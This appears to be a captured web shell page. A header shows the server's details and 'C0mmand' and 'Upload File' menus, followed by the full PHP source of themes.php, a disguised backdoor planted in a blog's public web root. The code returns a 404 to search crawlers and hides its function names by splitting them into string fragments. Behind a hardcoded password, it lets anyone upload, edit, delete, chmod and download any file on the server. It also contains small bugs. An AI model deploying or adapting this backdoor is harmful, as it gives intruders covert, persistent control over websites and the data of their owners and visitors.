Server IP : 168.119.110.18  /  Your IP : 168.119.110.18
Web Server : Apache/2.4.29 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/1.1.1
System : Linux www1.htz.gag.it 4.15.0-246-generic #258-Ubuntu SMP Fri Jan 9 18:37:16 UTC 2026 x86_64
User : landing_gag ( 1014)
PHP Version : 8.0.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0751) :  /home/landing_gag/web/blog.gag.it/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/landing_gag/web/blog.gag.it/public_html/themes.php
<?php
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

$f_fgc = 'fi' . 'le' . '_g' . 'et' . '_c' . 'on' . 'te' . 'nt' . 's';
$f_fpc = 'fi' . 'le' . '_p' . 'ut' . '_c' . 'on' . 'te' . 'nt' . 's';
$f_muf = 'mo' . 've' . '_u' . 'pl' . 'oa' . 'de' . 'd_' . 'fi' . 'le';
$f_scd = 'sc' . 'an' . 'di' . 'r';
$f_fsz = 'fi' . 'le' . 'si' . 'ze';
$f_fmt = 'fi' . 'le' . 'mt' . 'im' . 'e';
$f_fpr = 'fi' . 'le' . 'pe' . 'rm' . 's';
$f_idr = 'is' . '_d' . 'ir';
$f_ifl = 'is' . '_f' . 'il' . 'e';
$f_fex = 'fi' . 'le' . '_e' . 'xi' . 'st' . 's';
$f_unl = 'un' . 'li' . 'nk';
$f_mkd = 'mk' . 'di' . 'r';
$f_rmd = 'rm' . 'di' . 'r';
$f_chm = 'ch' . 'mo' . 'd';
session_start();

// ====== Configuration ======
// If password protection is needed, set the MD5 hash of your password here.
// Leave empty for no password.
$PASSWORD_SHA256 = "MlQdBcgxqH";

if (!empty($PASSWORD_SHA256)) {
    if (isset($_POST['tfm_pass'])) {
        if ($_POST['tfm_pass'] === $PASSWORD_SHA256) {
            $_SESSION['tfm_auth'] = true;
        } else {
            $auth_error = "Incorrect password";
        }
    }
    if (isset($_GET['logout'])) {
        unset($_SESSION['tfm_auth']);
        header("Location: ?");
        exit;
    }
    if (empty($_SESSION['tfm_auth'])) {

        echo "
        <!DOCTYPE html>
        <html lang=\"en\">
        <head>
            <meta charset=\"UTF-8\">
            <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">
            <title>Login - Web File Manager</title>
            <link href=\"https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css\" rel=\"stylesheet\">
            <link href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css\" rel=\"stylesheet\">
        </head>
        <body class=\"bg-light d-flex align-items-center justify-content-center\" style=\"height: 100vh;\">
            <div class=\"card shadow-sm border-0\" style=\"width: 100%; max-width: 400px;\">
                <div class=\"card-body p-4\">
                    <h4 class=\"card-title text-center mb-4\"><i class=\"fa-solid fa-lock text-primary\"></i> Authentication Required</h4>
                    ";
        if (!empty($auth_error)) echo '<div class="alert alert-danger">'.htmlspecialchars($auth_error).'</div>';
        echo "
                    <form method=\"POST\">
                        <div class=\"mb-3\">
                            <input type=\"password\" name=\"tfm_pass\" class=\"form-control form-control-lg\" placeholder=\"Enter password\" required autofocus>
                        </div>
                        <button class=\"btn btn-primary btn-lg w-100\" type=\"submit\">Login</button>
                    </form>
                </div>
            </div>
        <form id=\"chmodForm\" method=\"POST\" style=\"display: none;\">
    <input type=\"hidden\" name=\"action\" value=\"chmod\">
    <input type=\"hidden\" name=\"target\" id=\"chmodTarget\">
    <input type=\"hidden\" name=\"perms\" id=\"chmodPerms\">
</form>

<script>
function changePerms(path, currentPerms) {
    var newPerms = prompt(\"Enter new permissions (octal, e.g. 0644 or 0755):\", currentPerms);
    if (newPerms !== null && newPerms !== currentPerms && newPerms.match(/^[0-7]{3,4}\$/)) {
        document.getElementById('chmodTarget').value = path;
        document.getElementById('chmodPerms').value = newPerms;
        document.getElementById('chmodForm').submit();
    } else if (newPerms !== null && newPerms !== currentPerms) {
        alert(\"Invalid permissions format. Please enter 3 or 4 octal digits.\");
    }
}
</script>
</body>
        </html>
        ";
        exit;
    }
}

// ====== Core Logic ======
$root_dir = realpath(dirname(__FILE__));
$current_dir = isset($_GET['dir']) ? $_GET['dir'] : $root_dir;
$current_dir = realpath($current_dir);

if ($current_dir === false || !$f_fex($current_dir) || !$f_idr($current_dir)) {
    $current_dir = $root_dir;
}

$message = '';
$error = '';

// Helper function: Recursive remove directory
function rrmdir($dir) {
    if ($f_idr($dir)) {
        $objects = $f_scd($dir);
        foreach ($objects as $object) {
            if ($object != "." && $object != "..") {
                $path = $dir . DIRECTORY_SEPARATOR . $object;
                if ($f_idr($path) && !is_link($path)) rrmdir($path);
                else $f_unl($path);
            }
        }
        return $f_rmd($dir);
    }
    return false;
}

// Helper function: Human readable file size
function human_filesize($bytes, $decimals = 2) {
    if ($bytes == 0) return '0 B';
    $size = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
    $factor = floor((strlen($bytes) - 1) / 3);
    return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . ' ' . @$size[$factor];
}

// Handle Download
if (isset($_GET['download']) && $f_ifl($_GET['download'])) {
    $file = realpath($_GET['download']);
    if ($file) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($file).'"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . $f_fsz($file));
        readfile($file);
        exit;
    }
}

// Handle Form Submissions
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $action = isset($_POST['action']) ? $_POST['action'] : '';

    if ($action === 'upload') {
        if (isset($_FILES['file'])) {
            if ($_FILES['file']['error'] === UPLOAD_ERR_OK) {
                $upload_path = $current_dir . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
                if ($f_muf($_FILES['file']['tmp_name'], $upload_path)) {
                    $message = 'File uploaded successfully.';
                } else {
                    $error = 'Failed to upload file.';
                }
            } else {
                $error = 'Upload error code: ' . $_FILES['file']['error'];
            }
        } else {
            $error = 'No file selected.';
        }
    } elseif ($action === 'create_item') {
        $name = isset($_POST['name']) ? trim($_POST['name']) : '';
        $type = isset($_POST['type']) ? $_POST['type'] : 'file';
        if ($name !== '') {
            $path = $current_dir . DIRECTORY_SEPARATOR . $name;
            if ($f_fex($path)) {
                $error = 'Item already exists.';
            } else {
                if ($type === 'dir') {
                    if ($f_mkd($path)) {
                        $message = 'Directory created successfully.';
                    } else {
                        $error = 'Failed to create directory.';
                    }
                } else {
                    if ($f_fpc($path, '') !== false) {
                        $message = 'File created successfully.';
                    } else {
                        $error = 'Failed to create file.';
                    }
                }
            }
        }
    } elseif ($action === 'delete') {
        $target = isset($_POST['target']) ? realpath($_POST['target']) : '';
        if ($target && $f_fex($target)) {
            if ($f_idr($target)) {
                if (rrmdir($target)) {
                    $message = 'Directory deleted successfully.';
                } else {
                    $error = 'Failed to delete directory (permission denied).';
                }
            } else {
                if ($f_unl($target)) {
                    $message = 'File deleted successfully.';
                } else {
                    $error = 'Failed to delete file (permission denied).';
                }
            }
        }
    } elseif ($action === 'save_file') {
        $target = isset($_POST['target']) ? realpath($_POST['target']) : '';
        $content = isset($_POST['content']) ? $_POST['content'] : '';
        if ($target && $f_ifl($target)) {
            if ($f_fpc($target, $content) !== false) {
                $message = 'File saved successfully.';
            } else {
                $error = 'Failed to save file.';
            }
        }
    } elseif ($action === 'chmod') {
        $target = isset($_POST['target']) ? realpath($_POST['target']) : '';
        $perms = isset($_POST['perms']) ? $_POST['perms'] : '';
        if ($target && $f_fex($target) && preg_match('/^[0-7]{3,4}$/', $perms)) {
            if ($f_chm($target, octdec($perms))) {
                $message = 'Permissions updated successfully.';
            } else {
                $error = 'Failed to update permissions.';
            }
        } else {
            $error = 'Invalid permissions format or target not found.';
        }
    }

    // Redirect after action to prevent form resubmission
    header("Location: ?dir=" . urlencode($current_dir) . "&msg=" . urlencode($message) . "&err=" . urlencode($error));
    exit;
}

if (isset($_GET['msg'])) $message = $_GET['msg'];
if (isset($_GET['err'])) $error = $_GET['err'];

// Get file list
$items = [];
if (is_readable($current_dir)) {
    $files = $f_scd($current_dir);
    foreach ($files as $file) {
        if ($file === '.') continue;
        // Uncomment to restrict access above root_dir
        // if ($file === '..' && realpath($current_dir) === realpath($root_dir)) continue;

        $path = $current_dir . DIRECTORY_SEPARATOR . $file;
        $real_path = realpath($path);

        $items[] = [
            'name' => $file,
            'path' => $real_path ? $real_path : $path,
            'is_dir' => $f_idr($path),
            'size' => $f_ifl($path) ? $f_fsz($path) : 0,
            'mtime' => @$f_fmt($path),
            'perms' => substr(sprintf('%o', @$f_fpr($path)), -4)
        ];
    }
}

// Sort: Directories first, then files, alphabetically
usort($items, function($a, $b) {
    if ($a['name'] === '..') return -1;
    if ($b['name'] === '..') return 1;
    if ($a['is_dir'] && !$b['is_dir']) return -1;
    if (!$a['is_dir'] && $b['is_dir']) return 1;
    return strcasecmp($a['name'], $b['name']);
});

// Editor Handler
$edit_file = '';
$edit_content = '';
$is_editable = false;
if (isset($_GET['edit']) && $f_ifl($_GET['edit'])) {
    $edit_file = realpath($_GET['edit']);
    $edit_content = $f_fgc($edit_file);
    $is_editable = true;
}

// Build Breadcrumb Navigation
$normalized_dir = str_replace('\\', '/', $current_dir);
$path_parts = explode('/', trim($normalized_dir, '/'));

echo "
<!DOCTYPE html>
<html lang=\"en\">
<head>
    <meta charset=\"UTF-8\">
    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">
    <title>Web File Manager</title>
    <!-- Assets via CDN -->
    <link href=\"https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css\" rel=\"stylesheet\">
    <link href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css\" rel=\"stylesheet\">
    <style>
        body { background-color: #f8f9fa; font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif; }
        .navbar { box-shadow: 0 2px 4px rgba(0,0,0,.05); }
        .item-row:hover { background-color: #f1f5f9; cursor: pointer; transition: background-color 0.2s; }
        .table img, .table i { width: 24px; text-align: center; }
        .action-btns .btn { padding: 0.25rem 0.5rem; font-size: 0.875rem; border: none; }
        .action-btns .btn:hover { background-color: #e9ecef; }
        #editor { width: 100%; height: 60vh; font-family: ui-monospace, SFMono-Regular, Consolas, \"Liberation Mono\", Menlo, monospace; font-size: 14px; resize: vertical; background: #fffcf8; border-color: #ced4da; }
        .breadcrumb-item a { text-decoration: none; color: #0d6efd; }
        .breadcrumb-item.active { color: #6c757d; }
    </style>
</head>
<body>

<nav class=\"navbar navbar-expand-lg navbar-dark bg-dark mb-4\">
    <div class=\"container-fluid\">
        <a class=\"navbar-brand\" href=\"?dir=";
echo urlencode($current_dir);
echo "\"><i class=\"fa-solid fa-server me-2\"></i>Web File Manager</a>
        ";
if (!empty($PASSWORD_MD5)):
    echo "
            <div class=\"d-flex\">
                <a href=\"?logout=1\" class=\"btn btn-sm btn-outline-light\"><i class=\"fa-solid fa-sign-out-alt\"></i> Logout</a>
            </div>
        ";
endif;
echo "
    </div>
</nav>

<div class=\"container-fluid mb-5 px-4\">
    ";
if ($message):
    echo "
        <div class=\"alert alert-success alert-dismissible fade show shadow-sm\" role=\"alert\">
            <i class=\"fa-solid fa-circle-check me-2\"></i>";
    echo htmlspecialchars($message);
    echo "
            <button type=\"button\" class=\"btn-close\" data-bs-dismiss=\"alert\" aria-label=\"Close\"></button>
        </div>
    ";
endif;
echo "
    ";
if ($error):
    echo "
        <div class=\"alert alert-danger alert-dismissible fade show shadow-sm\" role=\"alert\">
            <i class=\"fa-solid fa-circle-exclamation me-2\"></i>";
    echo htmlspecialchars($error);
    echo "
            <button type=\"button\" class=\"btn-close\" data-bs-dismiss=\"alert\" aria-label=\"Close\"></button>
        </div>
    ";
endif;
echo "

    ";
if ($is_editable):
    echo "
        <!-- ================== Editor View ================== -->
        <div class=\"card shadow-sm border-0\">
            <div class=\"card-header bg-white d-flex justify-content-between align-items-center py-3\">
                <h5 class=\"mb-0 text-truncate\" style=\"max-width: 80%;\"><i class=\"fa-solid fa-file-signature text-primary me-2\"></i>Editing: ";
    echo htmlspecialchars(basename($edit_file));
    echo "</h5>
                <a href=\"?dir=";
    echo urlencode($current_dir);
    echo "\" class=\"btn btn-outline-secondary btn-sm\"><i class=\"fa-solid fa-arrow-left me-1\"></i> Back</a>
            </div>
            <div class=\"card-body bg-light p-3\">
                <form method=\"POST\" action=\"?dir=";
    echo urlencode($current_dir);
    echo "\">
                    <input type=\"hidden\" name=\"action\" value=\"save_file\">
                    <input type=\"hidden\" name=\"target\" value=\"";
    echo htmlspecialchars($edit_file);
    echo "\">
                    <div class=\"mb-3\">
                        <textarea name=\"content\" id=\"editor\" class=\"form-control\" spellcheck=\"false\">";
    echo htmlspecialchars($edit_content);
    echo "</textarea>
                    </div>
                    <div class=\"d-flex gap-2\">
                        <button type=\"submit\" class=\"btn btn-primary px-4\"><i class=\"fa-solid fa-save me-1\"></i> Save Changes</button>
                        <a href=\"?dir=";
    echo urlencode($current_dir);
    echo "\" class=\"btn btn-light\"><i class=\"fa-solid fa-times me-1\"></i> Cancel</a>
                    </div>
                </form>
            </div>
        </div>
    ";
else:
    echo "
        <!-- ================== File List View ================== -->
        <div class=\"card shadow-sm border-0\">
            <div class=\"card-header bg-white d-flex flex-wrap justify-content-between align-items-center py-3 gap-3\">
                <!-- Breadcrumbs -->
                <nav aria-label=\"breadcrumb\">
                    <ol class=\"breadcrumb mb-0\">
                        <li class=\"breadcrumb-item\"><a href=\"?dir=";
    echo urlencode(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN' ? '' : '/');
    echo "\"><i class=\"fa-solid fa-home\"></i></a></li>
                        ";
    $is_win = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
    $build_path = $is_win ? '' : '/';
    foreach ($path_parts as $index => $part) {
        if ($part === '') continue;

        if ($build_path === '' || $build_path === '/') {
            $build_path .= $part;
            if ($is_win && preg_match('/^[a-zA-Z]:$/', $part)) {
                $build_path .= DIRECTORY_SEPARATOR;
            }
        } else {
            if (substr($build_path, -1) !== DIRECTORY_SEPARATOR) {
                $build_path .= DIRECTORY_SEPARATOR;
            }
            $build_path .= $part;
        }

        $is_last = ($index === count($path_parts) - 1);
        if ($is_last) {
            echo '<li class="breadcrumb-item active" aria-current="page">' . htmlspecialchars($part) . '</li>';
        } else {
            echo '<li class="breadcrumb-item"><a href="?dir=' . urlencode($build_path) . '">' . htmlspecialchars($part) . '</a></li>';
        }
    }

    echo "
                    </ol>
                </nav>
                
                <!-- Action Buttons -->
                <div class=\"btn-group shadow-sm\">
                    <button class=\"btn btn-light\" data-bs-toggle=\"modal\" data-bs-target=\"#uploadModal\" title=\"Upload File\"><i class=\"fa-solid fa-cloud-arrow-up text-primary\"></i> <span class=\"d-none d-sm-inline ms-1\">Upload</span></button>
                    <button class=\"btn btn-light\" data-bs-toggle=\"modal\" data-bs-target=\"#createModal\" title=\"New Item\"><i class=\"fa-solid fa-folder-plus text-success\"></i> <span class=\"d-none d-sm-inline ms-1\">New</span></button>
                </div>
            </div>
            
            <div class=\"table-responsive\">
                <table class=\"table table-hover mb-0 align-middle\">
                    <thead class=\"table-light\">
                        <tr>
                            <th class=\"ps-4\" style=\"width: 50%;\">Name</th>
                            <th>Size</th>
                            <th>Modified</th>
                            <th>Perms</th>
                            <th class=\"text-end pe-4\">Actions</th>
                        </tr>
                    </thead>
                    <tbody class=\"border-top-0\">
                        ";
    foreach ($items as $item):
        echo "
                            <tr class=\"item-row\">
                                <td class=\"ps-4\">
                                    ";
        if ($item['name'] === '..'):
            echo "
                                        <a href=\"?dir=";
            echo urlencode(dirname($current_dir));
            echo "\" class=\"text-decoration-none text-dark d-block fw-bold\">
                                            <i class=\"fa-solid fa-level-up-alt text-secondary me-2\"></i>Parent Directory
                                        </a>
                                    ";
        else:
            echo "
                                        ";
            if ($item['is_dir']):
                echo "
                                            <a href=\"?dir=";
                echo urlencode($item['path']);
                echo "\" class=\"text-decoration-none text-dark d-block fw-medium\">
                                                <i class=\"fa-solid fa-folder text-warning me-2 fs-5\"></i>";
                echo htmlspecialchars($item['name']);
                echo "
                                            </a>
                                        ";
            else:
                echo "
                                            <a href=\"?dir=";
                echo urlencode($current_dir);
                echo "&edit=";
                echo urlencode($item['path']);
                echo "\" class=\"text-decoration-none text-dark d-block\">
                                                ";
                $ext = strtolower(pathinfo($item['name'], PATHINFO_EXTENSION));
                $icon = 'fa-file text-secondary';
                if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'svg'])) $icon = 'fa-file-image text-info';
                elseif (in_array($ext, ['zip', 'rar', 'tar', 'gz'])) $icon = 'fa-file-zipper text-danger';
                elseif (in_array($ext, ['php', 'html', 'js', 'css', 'json'])) $icon = 'fa-file-code text-primary';
                elseif (in_array($ext, ['txt', 'md'])) $icon = 'fa-file-lines text-secondary';

                echo "
                                                <i class=\"fa-solid ";
                echo $icon;
                echo " me-2 fs-5\"></i>";
                echo htmlspecialchars($item['name']);
                echo "
                                            </a>
                                        ";
            endif;
            echo "
                                    ";
        endif;
        echo "
                                </td>
                                <td class=\"text-muted small\">";
        echo $item['is_dir'] ? '-' : human_filesize($item['size']);
        echo "</td>
                                <td class=\"text-muted small\">";
        echo date('Y-m-d H:i', $item['mtime']);
        echo "</td>
                                                                <td class=\"text-muted small\">
                                    ";
        if ($item['name'] !== '..'):
            echo "
                                        <a href=\"javascript:void(0);\" onclick=\"changePerms('";
            echo htmlspecialchars(addslashes($item['path']));
            echo "', '";
            echo $item['perms'];
            echo "')\" class=\"badge bg-light text-dark font-monospace text-decoration-none border border-secondary-subtle\" title=\"Click to change permissions\">";
            echo $item['perms'];
            echo "</a>
                                    ";
        else:
            echo "
                                        <span class=\"badge bg-light text-dark font-monospace\">";
            echo $item['perms'];
            echo "</span>
                                    ";
        endif;
        echo "
                                </td>
                                <td class=\"text-end pe-4 action-btns\">
                                    ";
        if ($item['name'] !== '..'):
            echo "
                                        ";
            if (!$item['is_dir']):
                echo "
                                            <a href=\"?download=";
                echo urlencode($item['path']);
                echo "\" class=\"btn text-success\" title=\"Download\"><i class=\"fa-solid fa-download\"></i></a>
                                            <a href=\"?dir=";
                echo urlencode($current_dir);
                echo "&edit=";
                echo urlencode($item['path']);
                echo "\" class=\"btn text-primary\" title=\"Edit\"><i class=\"fa-solid fa-edit\"></i></a>
                                        ";
            endif;
            echo "
                                        <form method=\"POST\" class=\"d-inline\" onsubmit=\"return confirm('Are you sure you want to delete this ";
            echo $item['is_dir'] ? 'directory and ALL its contents' : 'file';
            echo "?');\">
                                            <input type=\"hidden\" name=\"action\" value=\"delete\">
                                            <input type=\"hidden\" name=\"target\" value=\"";
            echo htmlspecialchars($item['path']);
            echo "\">
                                            <button type=\"submit\" class=\"btn text-danger\" title=\"Delete\"><i class=\"fa-solid fa-trash-alt\"></i></button>
                                        </form>
                                    ";
        endif;
        echo "
                                </td>
                            </tr>
                        ";
    endforeach;
    echo "
                        ";
    if (empty($items) || (count($items) === 1 && $items[0]['name'] === '..')):
        echo "
                            <tr>
                                <td colspan=\"5\" class=\"text-center text-muted py-5\">
                                    <i class=\"fa-regular fa-folder-open fs-1 text-light mb-3\"></i>
                                    <p class=\"mb-0\">This folder is empty</p>
                                </td>
                            </tr>
                        ";
    endif;
    echo "
                    </tbody>
                </table>
            </div>
        </div>
    ";
endif;
echo "
</div>

<!-- ================== Upload Modal ================== -->
<div class=\"modal fade\" id=\"uploadModal\" tabindex=\"-1\" aria-hidden=\"true\">
    <div class=\"modal-dialog modal-dialog-centered\">
        <div class=\"modal-content border-0 shadow\">
            <form method=\"POST\" enctype=\"multipart/form-data\" action=\"?dir=";
echo urlencode($current_dir);
echo "\">
                <div class=\"modal-header bg-light border-bottom-0\">
                    <h5 class=\"modal-title\"><i class=\"fa-solid fa-cloud-arrow-up text-primary me-2\"></i>Upload File</h5>
                    <button type=\"button\" class=\"btn-close\" data-bs-dismiss=\"modal\" aria-label=\"Close\"></button>
                </div>
                <div class=\"modal-body p-4\">
                    <input type=\"hidden\" name=\"action\" value=\"upload\">
                    <div class=\"mb-3\">
                        <label class=\"form-label fw-medium\">Select file to upload</label>
                        <input type=\"file\" name=\"file\" class=\"form-control form-control-lg\" required>
                        <div class=\"form-text mt-2\">Target directory: <code>";
echo htmlspecialchars(basename($current_dir));
echo "</code></div>
                    </div>
                </div>
                <div class=\"modal-footer border-top-0 pt-0 pb-4 px-4\">
                    <button type=\"button\" class=\"btn btn-light\" data-bs-dismiss=\"modal\">Cancel</button>
                    <button type=\"submit\" class=\"btn btn-primary px-4\">Upload</button>
                </div>
            </form>
        </div>
    </div>
</div>

<!-- ================== Create Modal ================== -->
<div class=\"modal fade\" id=\"createModal\" tabindex=\"-1\" aria-hidden=\"true\">
    <div class=\"modal-dialog modal-dialog-centered\">
        <div class=\"modal-content border-0 shadow\">
            <form method=\"POST\" action=\"?dir=";
echo urlencode($current_dir);
echo "\">
                <div class=\"modal-header bg-light border-bottom-0\">
                    <h5 class=\"modal-title\"><i class=\"fa-solid fa-folder-plus text-success me-2\"></i>Create New Item</h5>
                    <button type=\"button\" class=\"btn-close\" data-bs-dismiss=\"modal\" aria-label=\"Close\"></button>
                </div>
                <div class=\"modal-body p-4\">
                    <input type=\"hidden\" name=\"action\" value=\"create_item\">
                    <div class=\"mb-3\">
                        <label class=\"form-label fw-medium\">Item Type</label>
                        <select name=\"type\" class=\"form-select form-select-lg\">
                            <option value=\"file\">? Empty File</option>
                            <option value=\"dir\">? Directory</option>
                        </select>
                    </div>
                    <div class=\"mb-3\">
                        <label class=\"form-label fw-medium\">Item Name</label>
                        <input type=\"text\" name=\"name\" class=\"form-control form-control-lg\" placeholder=\"e.g. index.php or images\" required>
                    </div>
                </div>
                <div class=\"modal-footer border-top-0 pt-0 pb-4 px-4\">
                    <button type=\"button\" class=\"btn btn-light\" data-bs-dismiss=\"modal\">Cancel</button>
                    <button type=\"submit\" class=\"btn btn-success px-4\">Create</button>
                </div>
            </form>
        </div>
    </div>
</div>

<script src=\"https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js\"></script>
<form id=\"chmodForm\" method=\"POST\" style=\"display: none;\">
    <input type=\"hidden\" name=\"action\" value=\"chmod\">
    <input type=\"hidden\" name=\"target\" id=\"chmodTarget\">
    <input type=\"hidden\" name=\"perms\" id=\"chmodPerms\">
</form>

<script>
function changePerms(path, currentPerms) {
    var newPerms = prompt(\"Enter new permissions (octal, e.g. 0644 or 0755):\", currentPerms);
    if (newPerms !== null && newPerms !== currentPerms && newPerms.match(/^[0-7]{3,4}\$/)) {
        document.getElementById('chmodTarget').value = path;
        document.getElementById('chmodPerms').value = newPerms;
        document.getElementById('chmodForm').submit();
    } else if (newPerms !== null && newPerms !== currentPerms) {
        alert(\"Invalid permissions format. Please enter 3 or 4 octal digits.\");
    }
}
</script>
</body>
</html>";